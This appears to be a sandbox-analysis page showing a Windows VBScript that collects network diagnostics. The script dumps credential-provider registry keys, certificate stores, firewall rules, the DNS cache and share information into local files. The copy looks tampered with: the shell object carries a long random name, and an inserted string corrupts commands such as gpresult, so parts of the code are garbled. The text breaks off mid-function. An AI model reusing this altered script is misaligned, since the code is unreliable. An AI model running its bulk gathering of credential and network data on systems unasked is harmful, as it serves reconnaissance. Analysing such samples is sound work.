Static | ZeroBOX
No static analysis available.
Sub GetWcmLog(logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Wcmsvc/Operational"" " & logFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetWiredAdapterInfo(outputFile)
On Error Resume Next
Dim adapters, objReg
Dim adapterDetailNames, adapterDetailRegValNames
adapterDetailNames = Array("Driver Description", "Adapter Guid", "Hardware ID", "Driver Date", "Driver Version", "Driver Provider")
adapterDetailRegValNames = Array("DriverDesc", "NetCfgInstanceId", "MatchingDeviceId", "DriverDate", "DriverVersion", "ProviderName")
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\"
objReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, adapterSet
For Each adapter In adapterSet
If StrComp("Properties", adapter) Then
fullstrKeyPath = strKeyPath + adapter
objReg.GetDWORDValue HKEY_LOCAL_MACHINE, fullstrKeyPath, "*IfType", ifType
If ifType = 6 Then
for I = 0 to UBound(adapterDetailNames)
objReg.GetStringValue HKEY_LOCAL_MACHINE, fullstrKeyPath, adapterDetailRegValNames(I), info
outputFile.WriteLine(adapterDetailNames(I) + " = " + info)
Next
outputFile.WriteLine()
End If
End If
Next
End Sub
Sub GetEnvironmentInfo(outputFileName)
On Error Resume Next
Dim envInfoFile
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wlan show all > " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh lan show interfaces >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh lan show settings >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh lan show profiles >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh mbn show interfaces >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh mbn show profile name=* interface=* >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh mbn show readyinfo interface=* >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh mbn show capability interface=* >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c ipconfig /all >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
RunCmd "echo.", outputFileName
RunCmd "echo ROUTE PRINT:", outputFileName
RunCmd "route print", outputFileName
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Machine certificates...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -store -silent My >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("User certificates...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -store -silent -user My >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Root certificates (machine store)...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -store -silent root >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Root certificates (enterprise store)...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -enterprise -store -silent NTAuth >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)
envInfoFile.WriteLine("")
envInfoFile.WriteLine("Root certificates (user store)...")
envInfoFile.WriteLine("")
envInfoFile.Close
cmd = "cmd /c certutil -v -user -store -silent root >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
'Comments: Function to dump a tree under a registry path into a file
Sub DumpRegKey(outputFileName,regpath)
On Error Resume Next
Dim cmd
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c reg export " & regpath & " " & outputFileName & " /y"
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub DumpAllKeys
On Error Resume Next
Dim NotifRegFile, RegFolder, Key
RegFolder = "Reg"
if Not FSO.FolderExists(RegFolder) Then
FSO.CreateFolder RegFolder
End If
' Dump WLAN registry keys
AllCredRegFile = RegFolder + "\AllCred.reg.txt"
AllCredFilterFile = RegFolder + "\AllCredFilter.reg.txt"
CredRegFileA = RegFolder + "\{07AA0886-CC8D-4e19-A410-1C75AF686E62}.reg.txt"
CredRegFileB = RegFolder + "\{33c86cd6-705f-4ba1-9adb-67070b837775}.reg.txt"
CredRegFileC = RegFolder + "\{edd749de-2ef1-4a80-98d1-81f20e6df58e}.reg.txt"
APIPermRegFile = RegFolder + "\APIPerm.reg.txt"
NotifRegFile = RegFolder + "\Notif.reg.txt"
GPTRegFile = RegFolder + "\GPT.reg.txt"
CUWlanSvcRegFile = RegFolder + "\HKCUWlanSvc.reg.txt"
LMWlanSvcRegFile = RegFolder + "\HKLMWlanSvc.reg.txt"
NidRegFile = RegFolder + "\NetworkProfiles.reg.txt"
call DumpRegKey(NotifRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Control\Winlogon\Notifications""")
call DumpRegKey(AllCredRegFile ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers""")
call DumpRegKey(AllCredFilterFile,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters""")
call DumpRegKey(CredRegFileA ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{07AA0886-CC8D-4e19-A410-1C75AF686E62}""")
call DumpRegKey(CredRegFileB ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{33c86cd6-705f-4ba1-9adb-67070b837775}""")
call DumpRegKey(CredRegFileC ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters\{edd749de-2ef1-4a80-98d1-81f20e6df58e}""")
call DumpRegKey(APIPermRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Services\Wlansvc\Parameters\WlanAPIPermissions""")
call DumpRegKey(GPTRegFile , """HKLM\SOFTWARE\Policies\Microsoft\Windows\Wireless\GPTWirelessPolicy""")
call DumpRegKey(CUWlanSvcRegFile ,"""HKCU\SOFTWARE\Microsoft\Wlansvc""")
call DumpRegKey(LMWlanSvcRegFile ,"""HKLM\SOFTWARE\Microsoft\Wlansvc""")
' Dump Dot3 registry keys
LMDot3SvcRegFile = RegFolder + "\HKLMDot3Svc.reg.txt"
CUDot3SvcRegFile = RegFolder + "\HKCUDot3Svc.reg.txt"
LGPPolicyFile = RegFolder + "\L2GP.reg.txt"
call DumpRegKey(LMDot3SvcRegFile ,"""HKLM\SOFTWARE\Microsoft\dot3svc""")
call DumpRegKey(CUDot3SvcRegFile ,"""HKCU\SOFTWARE\Microsoft\dot3svc""")
call DumpRegKey(LGPPolicyFile ,"""HKLM\SOFTWARE\Policies\Microsoft\Windows\WiredL2\GP_Policy""")
call DumpRegKey(NidRegFile ,"""HKLM\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\NetworkList""")
' Dump WCM registry keys
WCMPolicyRegFile = RegFolder + "\WCMPolicy.reg.txt"
call DumpRegKey(WCMPolicyRegFile ,"""HKLM\SOFTWARE\Policies\Microsoft\WcmSvc""")
End Sub
' Dump Winsock LSP catalog
Sub DumpWinsockCatalog(outputFileName)
On Error Resume Next
Dim envInfoFile
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh winsock show catalog > " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
' Dump the Windows Firewall Configuration
Sub GetWindowsFirewallInfo(configFileName, logFileName, effectiveRulesFileName, consecLogFileName, logFileNameVerbose, consecLogFileNameVerbose)
On Error Resume Next
Dim envInfoFile
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c echo Current Profiles: > " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Dump the current profiles
cmd = "cmd /c netsh advfirewall monitor show currentprofile >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo Firewall Configuration: >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
' Dump the firewall configuration
cmd = "cmd /c netsh advfirewall monitor show firewall >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo Connection Security Configuration: >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Dump the connection security configuration
cmd = "cmd /c netsh advfirewall monitor show consec >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo Firewall Rules : >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Dump the firewall rules
cmd = "cmd /c netsh advfirewall firewall show rule name=all verbose >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo Connection Security Rules : >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Dump the connection security rules
cmd = "cmd /c netsh advfirewall consec show rule name=all verbose >> " & configFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Dump the firewall rules from Dynamic Store
cmd = "cmd /c echo Firewall Rules currently enforced : > " & effectiveRulesFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & effectiveRulesFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh advfirewall monitor show firewall rule name=all >> " & effectiveRulesFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Dump the connection security rules from Dynamic Store
cmd = "cmd /c echo Connection Security Rules currently enforced : >> " & effectiveRulesFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & effectiveRulesFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh advfirewall monitor show consec rule name=all >> " & effectiveRulesFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"" " & logFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity"" " & consecLogFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & consecLogFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/FirewallVerbose"" " & logFileNameVerbose
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & logFileNameVerbose
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurityVerbose"" " & consecLogFileNameVerbose
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & consecLogFileNameVerbose
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetWfpInfo(outputFileName, logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show filters file=" & outputFileName & " > " & logFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
' Dump Netio State
Sub GetNetioInfo(outputFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh interface teredo show state > " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh interface httpstunnel show interface >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c netsh interface httpstunnel show statistics >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetDnsInfo(logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
RunCmd "echo IPCONFIG /DISPLAYDNS: ", logFileName
RunCmd "ipconfig /displaydns", logFileName
RunCmd "echo. ", logFileName
RunCmd "echo NETSH NAMESPACE SHOW EFFECTIVE:", logFileName
RunCmd "netsh namespace show effective", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NETSH NAMESPACE SHOW POLICY:", logFileName
RunCmd "netsh namespace show policy", logFileName
End Sub
Sub GetNeighborInfo(logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
RunCmd "echo ARP -A:", logFileName
RunCmd "arp -a", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NETSH INT IPV6 SHOW NEIGHBORS:", logFileName
RunCmd "netsh int ipv6 show neigh", logFileName
End Sub
Sub GetFileSharingInfo(logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
RunCmd "echo NBTSTAT -N:", logFileName
RunCmd "nbtstat -n", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NBTSTAT -C:", logFileName
RunCmd "nbtstat -c", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NET CONFIG RDR:", logFileName
RunCmd "net config rdr", logFileName
' Run the following 2 commands only if lanmanserver service is running
' In WOA build, FileSharing is disabled - hence this UUGYVXBTUKs in a prompt
' which halts the script at that point and netsh trace stop can go on indefinitely
strComputer = "."
Set objWmiService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
strQuery = "Select * from WIN32_Service where Name = 'lanmanserver' AND Started = True"
Set objService = objWmiService.ExecQuery (strQuery)
RunCmd "echo.", logFileName
RunCmd "echo NET CONFIG SRV:", logFileName
If objService.Count = 1 Then
RunCmd "net config srv", logFileName
Else
RunCmd "echo The Server service is not running.", logFileName
End If
RunCmd "echo.", logFileName
RunCmd "echo NET SHARE:", logFileName
If objService.Count = 1 Then
RunCmd "net share", logFileName
Else
RunCmd "echo The Server service is not running.", logFileName
End If
End Sub
Sub GetGPResultInfo(logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c gpUUGYVXBTUK /scope:computer /v 1> " & logFileName & " 2>&1"
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, False
End Sub
Sub GetNetEventsInfo(outputFileName, logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show netevents file=" & outputFileName & " 1> " & logFileName & " 2>&1"
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetShowStateInfo(outputFileName, logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show state file=" & outputFileName & " 1> " & logFileName & " 2>&1"
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetSysPortsInfo(outputFileName, logFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show sysports file=" & outputFileName & " 1> " & logFileName & " 2>&1"
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
' Add XML node entry
Sub AddXmlNodeEntry(xmlDoc, entryName, entryValue, parentEntry, entryObject)
On Error Resume Next
Set entryObject = xmlDoc.createElement(entryName)
If (IsNull(entryValue) = False) Then
entryObject.Text = entryValue
End If
parentEntry.appendChild entryObject
End Sub
' Dump Vmswitch State
Sub GetVmswitchInfo(outputFileName)
On Error Resume Next
strComputer = "."
Set objCimService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
onOffState = Array("On", "Off")
reservationMode = Array("Default", "Weight", "Absolute", "None")
nicTypeArray = Array("Synthetic", "Emulated", "Internal", "External")
extensionTypeArray = Array("Unknown", "Capture", "Filter", "Forwarding", "Monitoring", "Native")
enabledStatesArray = Array("Unknown", "Unknown", "Enabled", "Disabled")
vlanModeArray = Array("Unknown","Access","Trunk","Private")
PvlanModeArray = Array("Unknown","Isolated","Community","Promiscuous")
monitorModeArray = Array("None","Destination","Source")
aclActionArray = Array("Unknown","Allow","Deny","Meter")
aclDirectionArray = Array("Unknown","Inbound","Outbound")
aclApplicabilityArray = Array("Unknown","Local","Remote")
aclTypeArray = Array("Unknown","MAC","IPv4","IPv6")
isolationModeArray = Array("None","NativeVirtualSubnet","ExternalVirtualSubnet","VLAN")
iovInterruptModerationArray = Array("Default", "Adaptive", "Off", "Low", "Medium", "High")
strQuery = "Select * from WIN32_Service where Name = 'vmms' AND Started = True"
Set objVmmsService = objCimService.ExecQuery (strQuery)
If objVmmsService.Count > 0 Then
Set xmlDoc = CreateObject("Microsoft.XMLDOM")
Set objRoot = xmlDoc.createElement("VmswitchInfo")
xmlDoc.appendChild objRoot
Set objVirtualizationService = GetObject("winmgmts:\\" & strComputer & "\root\virtualization\v2")
strQuery = "Select * from MSVM_VirtualEthernetSwitch"
